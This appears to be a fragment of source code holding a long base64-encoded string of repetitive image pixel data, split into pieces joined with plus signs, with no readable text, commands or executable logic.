S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////+Xfpf/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////y79L/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////8u/S/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////Lv0v/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////y79L/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////8u/S/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////Lv0v/Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////y79L/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////8u/S/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S/////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////Lv0v/Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////y79L/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////8u/S/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S/////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////Lv + 0v/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///y79L/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////Pv0//Lv0v/l36X/5d+l/+Xfpf/Yznj/29KD/+Xfpf/l36X/6OOw//Lv + 0v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////8u/S/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////n36f/i2pr/1cpt/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + 